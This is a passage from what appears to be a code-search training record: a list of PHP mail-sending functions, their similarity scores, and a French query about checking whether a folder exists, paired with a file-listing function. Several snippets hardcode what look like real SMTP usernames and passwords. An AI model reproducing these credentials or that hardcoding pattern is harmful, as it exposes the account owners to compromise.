$mail->AddAddress($args['toEmail']);\r\n $mail->Subject = $args['asunto'];\r\n $mail->Body = $args['mensaje'];\r\n $mail->AltBody = $args['mensaje'];\r\n $mail->WordWrap = 50;\r\n $mail->IsHTML(true);\r\n if(!$mail->Send()) {\r\n return $mail->ErrorInfo;\r\n \t \t}else {\r\n return \"1\";\r\n \t\t}\r\n\t}", "private function sendViaPhp () {\n\t\n\t\t// build information\n\t\t$recipients = implode(\",\", $this->recipients);\n\t\t\n\t\t// build headers\n\t\t$sender = ($this->sender != \"\") ? $this->sender : $this->getDefaultSender();\n\t\t$headers = \"From: \" . $sender . \"\\r\\n\";\n\t\t$headers .= \"X-Mailer: PHP/\";\n\t\t\n\t\t// send email\n\t\treturn mail($recipients, $this->subject, $this->body, $headers);\n\t\n\t}", "public function sendMail($email)\n {\n $mail = new PHPMailer(true);\n\n try {\n //Server settings\n //thêm dòng sau để hiển thị đc ký tự có dấu\n $mail->CharSet = 'UTF-8';\n //thực tế sử dụng debug_off\n $mail->SMTPDebug = SMTP::DEBUG_OFF; // Enable verbose debug output\n $mail->isSMTP(); // Send using SMTP\n //sử dụng server gmail để gửi mail\n $mail->Host = 'smtp.gmail.com'; // Set the SMTP server to send through\n $mail->SMTPAuth = true; // Enable SMTP authentication\n //nhập tài khoản gmail cho username\n //tạm thời dùng tài khoản sau để\n // đỡ mất thời gian Xác minh 2 bươc\n $mail->Username = '[email protected]'; // SMTP username\n //password ko phải là pasword gmail, mà gmail có 1 cơ chế\n //tạo password cho các ứng dụng, password này độc lập với\n //password gmail của bạn\n $mail->Password = 'idfbwjmnbzkzniuf'; // SMTP password\n $mail->SMTPSecure = PHPMailer::ENCRYPTION_STARTTLS; // Enable TLS encryption; `PHPMailer::ENCRYPTION_SMTPS` encouraged\n $mail->Port = 587; // TCP port to connect to, use 465 for `PHPMailer::ENCRYPTION_SMTPS` above\n\n //Recipients\n //gửi từ ai\n $mail->setFrom('[email protected]', 'Lưu Duy Linh');\n //gửi tới ai\n $mail->addAddress($email); // Add a recipient\n// $mail->addAddress('[email protected]'); // Name is optional\n// $mail->addReplyTo('[email protected]', 'Information');\n// $mail->addCC('[email protected]');\n// $mail->addBCC('[email protected]');\n\n // Attachments\n //đính kèm file muốn gửi cùng mail\n// $mail->addAttachment('image.jpeg'); // Add attachments\n// $mail->addAttachment('/tmp/image.jpg', 'new.jpg'); // Optional name\n\n // Content\n $mail->isHTML(true); // Set email format to HTML\n $mail->Subject = 'Cảm ơn bạn đã đặt hàng';\n $mail->Body = 'Đơn hàng sẽ được vận chuyển trong thời gian sớm nhất';\n $mail->AltBody = 'This is the body in plain text for non-HTML mail clients';\n\n $mail->send();\n echo 'Message has been sent';\n } catch (Exception $e) {\n echo \"Message could not be sent. Mailer Error: {$mail->ErrorInfo}\";\n }\n }", "public static function send($sujet, $messageHTML, $messageTexte, $piecejointe, $destinataire)\n {\n $mail = new PHPMailer;\n//Tell PHPMailer to use SMTP\n $mail->isSMTP();\n//Enable SMTP debugging\n// 0 = off (for production use)\n// 1 = client messages\n// 2 = client and server messages\n $mail->SMTPDebug = 0;\n//Set the hostname of the mail server\n $mail->Host = 'smtp.gmail.com';\n//Set the SMTP port number - 587 for authenticated TLS, 465 for ssl\n $mail->Port = 465;\n//Set the encryption system to use - ssl (deprecated) or tls\n $mail->SMTPSecure = 'ssl';\n//Whether to use SMTP authentication\n $mail->SMTPAuth = true;\n//Username to use for SMTP authentication - use full email address for gmail\n $mail->Username = \"\";\n//Password to use for SMTP authentication\n $mail->Password = \"\";\n//Set who the message is to be sent from\n $mail->setFrom('', 'Gestion Comptes');\n//Set who the message is to be sent to\n $mail->addAddress(\"$destinataire\", \"$destinataire\");\n //Set the subject line\n $mail->Subject = $sujet;\n//Read an HTML message body from an external file, convert referenced images to embedded,\n//convert HTML into a basic plain-text alternative body\n $mail->msgHTML(\"$messageHTML\");\n//Replace the plain text body with one created manually\n $mail->AltBody = $messageTexte;\n//Attach an image file\n $mail->addAttachment(\"$piecejointe\");\n//send the message, check for errors\n if ($mail->send()) {\n return 'ok';\n } else {\n return 'ko';\n }\n }", "private function enviarEmail($msg)\n {\n // setando conteudo do email para avisos\n echo 'Envio email';\n }", "function send() \n {\n\n $mime = \"\";\n // parametres optionnels\n if (!empty($this->from)) $mime .= \"From: \".$this->from. \"\\n\";\n if (!empty($this->headers)) $mime .= $this->headers. \"\\n\";\n if (!empty($this->body)) $this->attach($this->body, \"\", \"text/plain\");\n // entete MIME\n $mime .= \"MIME-Version: 1.0\\n\".$this->build_multipart();\n // envoi du message\n mail($this->to, $this->subject, \"\", $mime);\n \n }", "public function sendMailNuevaClave($nombre,$email,$login,$clave){\n\t\t\n\t\tinclude('includes/class.phpmailer.php');\n\t\t// Archivos requeridos para generar la imagen tipo code barras\n \trequire('code_barras/barcode.php');\n require('code_barras/c128bobject.php');\n\t\t\n\t \t$mail = new phpmailer();\n \t\n\t\n \t\t$mail->PluginDir = \"\";\n \n \n\t \t//Con la propiedad Mailer le indicamos que vamos a usar un \n\t \t//servidor smtp\n \t\t$mail->Mailer = \"smtp\";\n\n \t\t//Asignamos a Host el nombre de nuestro servidor smtp\n \t\t$mail->Host = \"ccschucor01.pdvsa.com\";\n \n \t\t//Le indicamos que el servidor smtp requiere autenticación\n \t\t$mail->SMTPAuth = true;\n \t\t$mail->CharSet = \"UTF-8\";\n\n \t\t//Le decimos cual es nuestro nombre de usuario y password\n \t\t$mail->Username = \"[email protected]\"; \n \t\t$mail->Password = \"LUBRIALERTASPOOL\";\n \n \t\t//Indicamos cual es nuestra dirección de correo y el nombre que \n \t\t//queremos que vea el usuario que lee nuestro correo\n \n \t\t$mail->From = \"[email protected]\";\n \n \t\t$mail->FromName = \"Lubrialertas\"; \n \n \t\t$mail->Timeout=30;\n \n \t\t$mail->Body = '\n\t\t\tPDVSA - Lubrialertas\n\t\t\tAnálisis de Lubricantes PDVSA\n\t\t';\n\t\t$nombre= self::GetQuitarAcentos($nombre);\n\t\t\n\t\t$mail->Body.= '\n\t\t\tEstimad@ '.$nombre.'\n\t\t\t\n\t\t\t\tSe ha generado una nueva contraseña de forma automática para acceder al sistema!!\n\t\t\t\tLos datos de su cuenta de acceso al sistema LUBRIALERTAS son los siguientes:\n\n\t\t\t\tUsuario: '.$login.'\n\t\t\t\tContraseña: Corresponde a la serie de caracteres Alfanumericos expuestos en la imagen adjunta a este correo.\n\n\t\t\tRecuerde cambiar la contraseña al ingresar al sistema, y le recomendamos que la cambie periódicamente.\n\t\t\t\n\t\t';\n\t\t\n\t\t//Indicamos cual es la dirección de destino del correo\n\t\t$mail->AddAddress($email);\n\t\t\n\t\t//Asignamos asunto y cuerpo del mensaje\n\t\t$mail->Subject = \"Información Acceso - Nueva Clave\";\n\t\t\t\n //////////////////////////////////////////////////////////////\n\t\t// Parametros de configuracion\n\t\t$style= 164;\n\t\t$width= 260;\n\t\t$height= 70;\n\t\t$xres= 1;\n\t\t$font= 5;\n\t\t$directorio= \"../codigos/\";\n\t\t$code= $clave;\n\t\t\t\n\t\t$obj= new C128BObject($width, $height, $style, $code);\n\t\tif($obj){\n\t\t\t$obj->SetFont($font);\n\t\t\t$obj->DrawObject($xres);\n\t\t\t$img_name= $directorio.$code.'.jpg';\n\t\t\t$obj->RenderFlushObject($img_name);\n\t\t\tchmod($img_name, 0755);\n\t\t\tunset($obj); /* clean */\n\t\t}\n ////////////////////////////////////////////////////////////////\n \t\t\n \t\t// Para adjuntar la imagen\n \t\t$mail->AddEmbeddedImage($img_name, \"Clave\", \"credencial_temp.jpg\");\n\t\t\n\t\t\n\t\t//se envia el mensaje, si no ha habido problemas \n\t \t//la variable $exito tendra el valor true\n \t\t$exito = $mail->Send();\n\n \t\t//Si el mensaje no ha podido ser enviado se realizaran 4 intentos mas como mucho \n \t\t//para intentar enviar el mensaje, cada intento se hara 5 segundos despues \n\t\t//del anterior, para ello se usa la funcion sleep \n \n \t\t$intentos=1; \n \t\twhile ((!$exito) && ($intentos < 5)) {\n\t sleep(5);\n //echo $mail->ErrorInfo;\n $exito = $mail->Send();\n $intentos=$intentos+1; \n \t}\n \n \tif(!$exito){\n \t\t//echo \"Problemas enviando correo electrónico a \".$valor;\n\t \techo \"<br>\".$mail->ErrorInfo;\n\t }\n \telse{\n \t //echo \"Mensaje enviado correctamente\";\n\t\t\t}\n\t @unlink($img_name);\n }", "function send_email($to,$subject,$message1){\n\t$host_address = $_SERVER['HTTP_HOST'];\n\tif(localhost() && 'dummyCondition' == 'delete it')\n\t{\n\t\trequire_once(get_template_directory().'/lib/PHPMailer/PHPMailerAutoload.php');\n\t\t$message_body = $message1;\n\t\t$mail = new PHPMailer;\n\n\t\t$mail->IsSMTP();\n\t\t$mail->SMTPSecure = \"ssl\";\n\t\t$mail->Host = \"smtp.gmail.com\"; // SMTP server\n\t\t$mail->SMTPAuth = true;\n\t\t$mail->Port = 465;\n\t\t$mail->Username = \"[email protected]\";\n\t\t$mail->Password = \"NasirBro\";\n\t\t$mail->addAddress('[email protected]');\n\n\t\t$mail->isHTML(true);\n\t\t$mail->Subject = $subject;\n\t\t$mail->Body = $message_body;\n $mail->From = get_option('admin_email');\n $mail->FromName = 'Byte Bunch';\n\t\t$mail->send();\n\n\t}\n\telse\n\t{\n\t\t$message = '<html><head><title></title></head><body>';\n\t\t$message .= $message1;\n\t\t$message .= '</body></html>';\n\t\t$headers = 'MIME-Version: 1.0' . \"\\r\\n\";\n\t\t$headers .= 'Content-type: text/html; charset=iso-8859-1' . \"\\r\\n\";\n\t\t$headers .= 'From: '.get_option('admin_email'). \"\\r\\n\";\n\n\t\tmail($to,$subject,$message,$headers);\n\t}\n}", "function sendMail($mail, $personne, $password){\n\t\t$to = $mail;\n\t\t$subject = 'Votre demande de regeneration de mot de passe';\n\t\t$txt = \"Bonjour \".$personne->titre.\" \". $personne->prenom .\" \".$personne->nom.\"<br/>\";\n\t\t$txt .=\"Veuillez trouver ci-joint votre nouveau mot de passe d'acc&egrave;s &agrave; votre espace priv&eacute; sur <a href='http://www.haras-nationaux.fr'>www.haras-nationaux.fr</a><br/><br/>\";\n\t\t$txt .=\"Voici votre nouveau mot de passe : <br/>\";\n\t\t$txt .=\"<b>\".$password.\"</b><br/><br/>\";\n\t\t$txt .=\"Sinc&egrave;rement<br/>\";\n\t\t$txt .=\"Le webmaster de haras-nationaux.fr\";\n\n $message = '\n <html>\n <head>\n <title>Votre demande de reg&eacute;n&eacute;ration de mot de passe</title>\n </head>\n <body>'.$txt.'\n\n </body>\n </html>\n ';\n\n // Pour envoyer un mail HTML, l'en-tête Content-type doit être défini\n $headers = 'MIME-Version: 1.0' . \"\\r\\n\";\n $headers .= 'Content-type: text/html; charset=iso-8859-1' . \"\\r\\n\";\n\n // En-têtes additionnels\n //$headers .= 'To: '.$to. \" \\r\\n\";\n $headers .= 'From: [email protected]' . \"\\r\\n\";\n\n // Envoi\n mail($to, $subject, $message, $headers);\n\n\t}", "private function mailToevoegenAction()\n {\n $this->model->maakMail();\n $this->model->foutGoedMelding('success', '<strong>Gelukt!</strong> E-mail adres is toegevoed. <span class=\"glyphicon glyphicon-saved\"></span>');\n $this->model->setLog('Mail toevoegen', 'Gelukt');\n $this->forward('klant', 'admin');\n }", "function sendmail()\n\t{\n\t\t// post params: contact_name, contact_email, contact_phone, contact_content, realtor_email\n\t\n\t\t\n\t\t\n\t\tjimport('joomla.mail.helper');\n\t\tjimport('joomla.utilities.utility');\t\n\t\t/*\n\t\t$config =& JFactory::getConfig();\n\t\t$params =& ComJea::getParams();\n\t\t$db =& JFactory::getDBO();\n\t\t*/\t\n\n\t\t\n\t\t\n\t\t//realtor_email\t\t\n\t\t$email= JRequest::getVar('realtor_email', '');\t\n\t\t//contact_name\t\t\n\t\t$sender = JRequest::getVar('contact_name', '');\t\n\t\t//contact_email\t\n\t\t$from = JRequest::getVar('contact_email', '');\n\t\t//contact_phone\t\t\n\t\t$phone = JRequest::getVar('contact_phone', '');\n\t\t//contact_content\n\t\t//$contact_content = \"test gui mail\";\n\t\t$note = JRequest::getVar('contact_content', '');\n\t\t//subject\t\t\t\t\n\t\t\n\t\t$subject = \"Bạn có mail từ \". $sender;\t\t\t\n\t\t$body = \"Họ tên người gửi: \".$sender. \"\\r\\n\";\n\t\t$body .= \"Số điện thoại: \".$phone. \"\\r\\n\";\n\t\t$body .= \"Nội dung: \\r\\n\";\n\t\t$body .= $note;\t\t\n\t\t\n\t\t$realtor_id = JRequest::getVar('realtor_id', '');\n\t\t$proid= JRequest::getVar('proid', '');\t\t\t\n\t\t$link = 'index.php?option=com_jea&controller=realtors&Itemid=118&id='.$realtor_id.'&proid='.$proid;\n\t\t\t\t\n\t\t/*verification */\n\t\tif ( empty($sender) ) \n\t\t{\n\t\t\techo \"<script>alert('Bạn phải nhập tên');window.location.href='$link'</script>\";\t\t\t\t\t\n\t\t\t//JError::raiseWarning( 500, JText::_( 'You must to specify your name'));\n\t\t\t\n\t\t} \n\t\telseif ( !JMailHelper::isEmailAddress($email) ) \n\t\t\t{\n\t\t\t\techo \"<script>alert('Mail không hợp lệ');window.location.href='$link'</script>\";\t\t\t\t\t\n\t\t\t\t//JError::raiseWarning( 500, JText::sprintf( 'Invalid email', $email ));\n\t\t\t\t\n\t\t\t}\n\t\t\telse \n\t\t\t{\n\t\t\t\t\t\t\t\n\t\t\t\t$sendOk = JUtility::sendMail($from, $sender, $email, $subject, $body);\n\n\t\t\t\tif( $sendOk )\n\t\t\t\t{\n\t\t\t\t\techo \"<script>alert('Mail của bạn đã được gửi');window.location.href='$link'</script>\";\t\t\t\t\t\n\t\t\t\t\t//$mainframe =& JFactory::getApplication();\t\t\t\t\n\t\t\t\t\t//$mainframe->enqueueMessage(JText::_('Message successfully sent'));\t\t\t\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t{\n\t\t\t\t\techo \"<script>alert('Mail của bạn chưa được gửi');window.location.href='$link'</script>\";\t\t\t\t\t\n\t\t\t\t\t// JError::raiseWarning( 500, JText::_( 'SENDMAIL_ERROR_MSG'));\n\t\t\t\t}\n\t\t\t}\t\t\n\t\t// $this->display();\n\t\n\t}", "function mdatosCorreo(){\n\n\t\t$destino = \"[email protected]\";\n\t\t$nombre = $_POST[\"nombre\"];\n\t\t$email = $_POST[\"email\"];\n\t\t$telefono = $_POST[\"telefono\"];\n\t\t$mensaje = $_POST[\"mensaje\"];\n\t\t\n\t\tif (!preg_match(\"/^[a-zA-Z]*$/\",$nombre)) {\n\t\t\treturn -2;\n\t\t}\n\t\tif (!filter_var($email, FILTER_VALIDATE_EMAIL)) {\n\t\t\treturn -3;\n\t\t}\n\t\tif (!filter_var($telefono, FILTER_VALIDATE_INT)) {\n\t\t\treturn -4;\n\t\t}\n\t\tif (!preg_match(\"/^[a-zA-Z]*$/\",$mensaje)) {\n\t\t\treturn -5;\n\t\t}\n\n\t\t$mail = new PHPMailer(true);\n\n\t\t//try {\n\t\t $mail->SMTPDebug = 2;\n\t\t $mail->isSMTP();\n\n\t\t $mail->Host = 'smtp.gmail.com';\n\t\t $mail->SMTPAuth = true;\n\n\t\t $mail->Username = '[email protected]';\n\t\t $mail->Password = 'danidbg1CalisteniaWeb';\n\n\t\t $mail->SMTPSecure = 'tls';\n\t\t $mail->Port = 587;\n\n\t\t ## MENSAJE A ENVIAR\n\n\t\t $mail->setFrom('[email protected]');\n\t\t $mail->addAddress('[email protected]');\n\n\t\t $mail->isHTML(true);\n\t\t $mail->Subject = 'CalisteniaWeb';\n\t\t $mail->Body = \"Buenos dias, <br>\n\t\t \t\t\t\tsoy '$nombre' y este es mi problema:<br>\n\t\t \t\t\t\t'$mensaje'<br><br>\n\t\t \t\t\t\tInformacion de contacto:<br>\n\t\t \t\t\t\tTelefono:'$telefono'<br>\n\t\t \t\t\t\tCorreo: '$email'\";\n\n\t\t $mail->send();\n\n\t\t header('Location: index.php?accion=contacto&id=1');\n\t\treturn 1;\n\t}", "public function common_email_send($eamil_vaues = array()){\n\t\tif (is_file('settings/smtp_settings.php')){\n\t\t\tinclude('smtp_settings.php');\n\t\t}\n\t\t// Set SMTP Configuration\n\t\tif($config['smtp_user'] != '' && $config['smtp_pass'] != ''){\n\t\t\t$emailConfig = array(\n\t\t\t\t'protocol' => 'smtp',\n\t\t\t\t'smtp_host' => $config['smtp_host'],\n\t\t\t\t'smtp_port' => $config['smtp_port'],\n\t\t\t\t'smtp_user' => $config['smtp_user'],\n\t\t\t\t'smtp_pass' => $config['smtp_pass'],\n\t\t\t\t'auth' => true\n\t\t\t);\n\t\t}\n\t\t// Set your email information\n\t\t$from = array('email' => $eamil_vaues['from_mail_id'],'name' => $eamil_vaues['mail_name']);\n\t\t$to = $eamil_vaues['to_mail_id'];\n\t\t$subject = $eamil_vaues['subject_message'];\n\t\t$message = stripslashes($eamil_vaues['body_messages']);\n\t\t#echo $message; die;\n\t\t// Load CodeIgniter Email library\n\t\tif($config['smtp_user'] != '' && $config['smtp_pass'] != ''){\t\t\t\n\t\t\t$this->load->library('email', $emailConfig);\n\t\t}else {\n\t\t\t$this->load->library('email');\n\t\t}\n\t\t//Sometimes you have to set the new line character for better result\t\t\t\n\t\t$this->email->set_newline(\"\\r\\n\");\n\t\t//Set email preferences\n\t\t$this->email->set_mailtype($eamil_vaues['mail_type']);\n\t\t$this->email->from($from['email'],$from['name']);\n\t\t$this->email->to($to);\n\t\tif($eamil_vaues['cc_mail_id'] != ''){\n\t\t\t$this->email->cc($eamil_vaues['cc_mail_id']); \n\t\t}\n\t\tif($eamil_vaues['bcc_mail_id'] != ''){\n\t\t\t$this->email->bcc($eamil_vaues['bcc_mail_id']); \n\t\t}\n\n\t\t$this->email->subject($subject);\n\t\t$this->email->message($message);\n\t\t//Ready to send email and check whether the email was successfully sent\n\t\t\t\n\t\tif (!$this->email->send()){\n\t\t\t// Raise error message\n\t\t\t//show_error($this->email->print_debugger());\n\t\t\t$this->load->library('email');\n\t\t\t$this->email->set_newline(\"\\r\\n\");\n\t\t\t// Set email preferences\n\t\t\t$this->email->set_mailtype($eamil_vaues['mail_type']);\n\t\t\t$this->email->from($from['email'],$from['name']);\n\t\t\t$this->email->to($to);\t\t\t\t\n\t\t\tif($eamil_vaues['cc_mail_id'] != ''){\n\t\t\t\t$this->email->cc($eamil_vaues['cc_mail_id']); \n\t\t\t}\t\n\t\t\tif($eamil_vaues['bcc_mail_id'] != ''){\n\t\t\t\t$this->email->bcc($eamil_vaues['bcc_mail_id']); \n\t\t\t}\t\t\t\t \n\t\t\t$this->email->subject($subject);\n\t\t\t$this->email->message($message);\n\t\t\t$this->email->send();\n\t\t}else{\n\t\t\t#echo 'Success to send email';\n\t\t\treturn 1;\n\t\t}\n\t}", "public function createMailMessage();", "public function send()\n {\n $mail = new PHPMailer();\n\n\n $mail->isSMTP();\n\n $mail->Host = \"smtp.gmail.com\";\n $mail->SMTPDebug = 2;\n $mail->SMTPAuth = true;\n $mail->Username = \"[email protected]\";\n $mail->Password = \"p4815162342\";\n $mail->SMTPSecure = \"ssl;\";\n $mail->Port = \"465\";\n\n $mail->CharSet = \"UTF-8\";\n $mail->From = \"[email protected]\";\n $mail->FromName = \"Pavel\";\n $mail->addAddress(\"[email protected]\");\n $mail->AddReplyTo('[email protected]');\n\n $mail->Subject = \"Tema pisma\";\n $mail->Body = \"Hello google\";\n $mail->AltBody = \"Hello google\";\n// $link = mysqli_connect('localhost','root','','test','3306');\n\n// $sql=mysqli_query($link,\"SELECT email FROM test WHERE email LIKE '%gmail.com'\");\n//\n// while($row=mysqli_fetch_array($sql,MYSQLI_ASSOC))\n//\n// {\n//\n// $mail->AddBCC($row['email']);\n//\n// }\n\n $sql_query = \"SELECT email FROM test WHERE email LIKE '%gmail.com'\";\n\n $row = $this->mysqli->query($sql_query);\n\n foreach($row as $value){\n $mail->AddBCC($value['email']);\n }\n\n $mail->IsHTML(true);\n\n $mail->Send();\n\n $mail->ClearBCCs();\n }", "private function sendEmails()\r\n {\r\n $user_body = \"Hi,<br>A new comment was added to the following article:\\n\";\r\n $user_body .= '<a href=\"http://'.$this->config->getModuleVar('common', 'site_url').'/id_article/'.$this->viewVar['article']['id_article'].'\">'.$this->viewVar['article']['title'].\"</a>\\n\";\r\n\r\n $_tmp_error = array();\r\n $user_text_body = strip_tags($user_body);\r\n\r\n $this->model->action( 'common', 'mailSendTo',\r\n array('charset' => $this->viewVar['charset'],\r\n 'bodyHtml' => & $user_body,\r\n 'bodyText' => & $user_text_body,\r\n 'to' => array(array('email' => '[email protected]',\r\n 'name' => 'Armand Turpel')),\r\n 'subject' => \"Open Publisher Blog Entry\",\r\n 'fromEmail' => '[email protected]',\r\n 'fromName' => '[email protected]',\r\n 'error' => & $_tmp_error\r\n ));\r\n\r\n }", "function SendEmail($to, $message){\r\n\t\t$mail = new PHPMailer(true);\r\n\r\n\t\ttry {\r\n\t\t\t//Server settings\r\n\t\t\t$mail->SMTPDebug = SMTP::DEBUG_SERVER; //Enable verbose debug output\r\n\t\t\t$mail->isSMTP(); //Send using SMTP\r\n\t\t\t//$mail->Host = 'smtp.gmail.com'; //Set the SMTP server to send through\r\n\t\t\t$mail->Host = 'webmail.ifsp.edu.br'; //Set the SMTP server to send through\r\n\t\t\t$mail->SMTPAuth = true; //Enable SMTP authentication\r\n\t\t\t//$mail->Username = 'user'; \t\t\t\t\t //SMTP username\r\n\t\t\t$mail->Username = 'user';\t\t\t\t\t\t //SMTP username\r\n\t\t\t//$mail->Password = 'password'; //SMTP password\r\n\t\t\t$mail->Password = 'password'; //SMTP password\r\n\t\t\t$mail->SMTPSecure = PHPMailer::ENCRYPTION_STARTTLS; //Enable implicit TLS encryption\r\n\t\t\t$mail->Port = 587; //TCP port to connect to; use 587 if you have set `SMTPSecure = PHPMailer::ENCRYPTION_STARTTLS`\r\n\r\n\t\t\t//Recipients\r\n\t\t\t$mail->setFrom('[email protected]', 'IoTUnivesp');\r\n\t\t\t$mail->addAddress($to, 'IoTUnivesp'); //Add a recipient\r\n\r\n\t\t\t//Content\r\n\t\t\t$mail->isHTML(true); //Set email format to HTML\r\n\t\t\t$mail->Subject = 'Alerta Temperatura Anormal';\r\n\t\t\t$mail->Body = $message;\r\n\t\t\t$mail->AltBody = $message;\r\n\r\n\t\t\t$mail->send();\r\n\t\t\techo 'Message has been sent';\r\n\t\t} catch (Exception $e) {\r\n\t\t\techo \"Message could not be sent. Mailer Error: {$mail->ErrorInfo}\";\r\n\t\t}\r\n\t}", "public function sendmailAction()\r\n\t{\r\n\t\t$email = $this->getRequest()->getParam('email');\r\n\t\t$this->view->email = $email;\r\n\t\t$url = $this->getRequest()->getParam('url');\r\n\t\t$this->view->url = $url;\r\n\t\t$to = $email;\r\n\t\t$subject = \"Bạn của bạn chia sẻ một bài viết rất hay!\";\r\n\t\t$message = \"Bạn của bạn chia sẻ một bài viết rất hay. Hãy bấm vào link để xem\r\n\t\t\t\t\t<a href='$url'>$url</a>\";\r\n\t\t$from = \"[email protected]\";\r\n\t\t$headers = \"From:\" . $from;\r\n\t\tmail($to,$subject,$message,$headers);\r\n\t\t$this->_helper->layout->disableLayout();\r\n\t}", "function send_email($email, $subject, $msg, $headers){\r\n $mail = new PHPMailer(true);\r\n try{\r\n $mail->setLanguage('pl', './vendor/phpmailer/phpmailer/language');\r\n $mail->isSMTP();\r\n $mail->Host = Config::SMTP_HOST;\r\n $mail->SMTPAuth = true;\r\n $mail->Username = Config::SMTP_USER;\r\n $mail->Password = Config::SMTP_PASSWORD;\r\n $mail->SMTPSecure = PHPMailer::ENCRYPTION_STARTTLS;\r\n $mail->Port = Config::SMTP_PORT;\r\n $mail->isHTML(true);\r\n $mail->CharSet = 'utf-8';\r\n\r\n $email->setFrom($headers);\r\n $email->addAddress($email);\r\n\r\n $mail->Subject = $subject;\r\n $mail->Body = $msg;\r\n $mail->AltBody = $msg;\r\n\r\n $mail->send();\r\n } catch (Exception $e){\r\n echo validation_errors(\"Message could not be sent. Mailer Error: {$mail->ErrorInfo}\");\r\n return false;\r\n }\r\n return true;\r\n}", "function envoi_mail(&$liste_option, $liste_fichier) {\n\tabstract_log::onInfo_standard ( \"Envoi du mail de confirmation.\" );\n\t$mail = fonctions_standards_mail::creer_liste_mail ( $liste_option );\n\tif ($mail !== false && is_array ( $liste_fichier ) && $liste_fichier [0] != false) {\n\t\t//Enfin on envoi le(s) mail(s)\n\t\tabstract_log::onInfo_standard ( \"Liste destinataire : \" . $mail->getMailingList() );\n\t\tif ($liste_option->verifie_option_existe ( \"email_sujet\", true ) !== false)\n\t\t\t$mail->setSujet ( $liste_option->getOption ( \"email_sujet\" ) );\n\t\telse\n\t\t\t$mail->setSujet ( \"Extraction\" );\n\t\tif ($liste_option->verifie_option_existe ( \"email_corp\", true ) !== false)\n\t\t\t$mail->ecrit ( $liste_option->getOption ( \"email_corp\" ) );\n\t\telse\n\t\t\t$mail->ecrit ( \"Bonjour, \\n\\n Ci-joint votre extraction.\" );\n\t\tforeach ( $liste_fichier as $fichier_data )\n\t\t\t$mail->attache_fichier ( $fichier_data, \"application/octet-stream\" );\n\t\t$mail->envoi ();\n\t} else\n\t\tabstract_log::onInfo_standard ( \"Pas d'envoi de mail de confirmation.\" );\n\t\n\treturn true;\n}" ]
[ "0.7760264", "0.7721834", "0.76023", "0.7537048", "0.7529548", "0.74136144", "0.7401365", "0.73620343", "0.7350719", "0.73454493", "0.73387283", "0.7329737", "0.7326856", "0.73099226", "0.73072565", "0.7285685", "0.72438824", "0.7205533", "0.72015876", "0.71860605", "0.71704024", "0.7158419", "0.7151983", "0.7144228", "0.7140871", "0.71355855", "0.7126497", "0.71234554", "0.712266", "0.7108816", "0.71039", "0.708967", "0.70744056", "0.70640236", "0.7035925", "0.70325166", "0.7021212", "0.7011037", "0.6977503", "0.69713014", "0.6965221", "0.6960173", "0.6951272", "0.6949984", "0.6943559", "0.69382435", "0.693024", "0.6904281", "0.6897609", "0.68923396", "0.689233", "0.6885484", "0.6879655", "0.6876495", "0.68746555", "0.68404555", "0.6831867", "0.68145657", "0.6807978", "0.6807417", "0.6807225", "0.6805739", "0.679354", "0.6781621", "0.6778875", "0.6774691", "0.676812", "0.6752913", "0.67439765", "0.67358214", "0.6733519", "0.6721862", "0.67113847", "0.66987735", "0.6689509", "0.66885495", "0.6686798", "0.66862357", "0.6678281", "0.6656405", "0.66499835", "0.66413593", "0.6638892", "0.66386724", "0.66276795", "0.6614045", "0.661241", "0.6608951", "0.6606291", "0.6599804", "0.6593806", "0.6589878", "0.6583448", "0.6579123", "0.6578317", "0.6569621", "0.65457785", "0.65441257", "0.6537281", "0.6534144" ]
0.7297468
15
On verifie que le dossier existe
function getFilesInDir($dirname, $path_return = ''){ if( !is_dir($dirname) ){ return false; } // On ouvre le dossier $dir = opendir($dirname); // Init du tableau $files = array(); // On liste les fichier while($file = readdir($dir)){ if($file != '.' && $file != '..' && !is_dir($dirname.$file) && $file != ' '){ $files[$file] = $path_return . $file; } } // On ferme le dossier closedir($dir); // On retourne les fichiers return $files; }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "function dossier_existe($dossier)\n{\n $result = false;\n \n if(file_exists($dossier) && is_dir($dossier))\n $result = true;\n \n return $result;\n}", "public function existe (){\n\t\t$req = $this->bdd->prepare('SELECT COUNT(id) FROM `Article` WHERE id = ?');\n\t\t$req->execute(array($this->id));\n\t\t$donnees = $req->fetch();\n\t\t$req->closeCursor(); // Important : on libère le curseur pour la prochaine requête\n\t\tif ($donnees[0] == 0){ // Si l'id n'est pas dans la base de donnée, l'article n'existe pas\n\t\t\treturn false;\n\t\t}\n\t\treturn true ;\n\t}", "public function afficherSonDossier()\n {\n //rappel : l'username = matricule\n $auth = AuthenticationManager::getInstance();\n $matricule = $auth->getMatricule();\n //sécurité\n $action = 'seeOwnFolderModule';\n $error = AccessControll::checkRight($action);\n if ( empty($error) ){ //ok\n $dossier = DossierManager::getUserFullFolder($matricule);\n $prez = DossierHtml::viewUserFolder($dossier);\n } else{\n $prez = HomeHtml::toHtml($error);\n }\n $this->response->setPart('contenu', $prez);\n }", "public function afficherListeDossierSiCreateur() \n {\n $auth = AuthenticationManager::getInstance();\n $username = $auth->getMatricule();\n //sécurité\n $action = 'listCreatedFolder';\n $error = AccessControll::checkRight($action);\n if ( empty($error) ){ //ok\n $dossier = DossierManager::getAllCreatedFolder($username);\n $prez = DossierHtml::listCreatedFolderHtml($dossier);\n } else{ //pas ok\n $prez = HomeHtml::toHtml($error);\n }\n $this->response->setPart('contenu', $prez);\n }", "function existe($id_desig){\r\n $sql=\"select * from suplente where id_desig_suplente=$id_desig\";\r\n $res=toba::db('designa')->consultar($sql);\r\n \r\n if(count($res)>0){\r\n return true;\r\n }else{\r\n return false;\r\n }\r\n }", "public function exists(){\n\t\t$fichName = $this->getPath();\n\t\treturn file_exists($fichName);\n\t}", "public function validarDir(){\n\t\t\t$dir = './assets/uploads/alumnos/1.png';\n\t\t\tif (file_exists($dir)) {\n\t\t\t\tunlink($dir);\n\t \techo \"Borrado\";\n\t }\n\t else{\n\t \techo \"FALSE\";\n\t }\n\t\t}", "function buscar() //funcion para ver si el registro existe \n\t{\n\t$sql=\"select * from slc_unid_medida where nomenc_unid_medida= '$this->abr' and desc_unid_medida= '$this->des'\"; \n\t $result=mysql_query($sql,$this->conexion);\n\t $n=mysql_num_rows($result);\n\t if($n==0)\n\t\t\t return 'false';\n\t\t\telse\n\t\t\t return 'true';\n\t}", "function exists()\n {\n return false;\n }", "public function Exists();", "public function esiste($cartella,$crea='si'){\n\t\tif(substr($file, 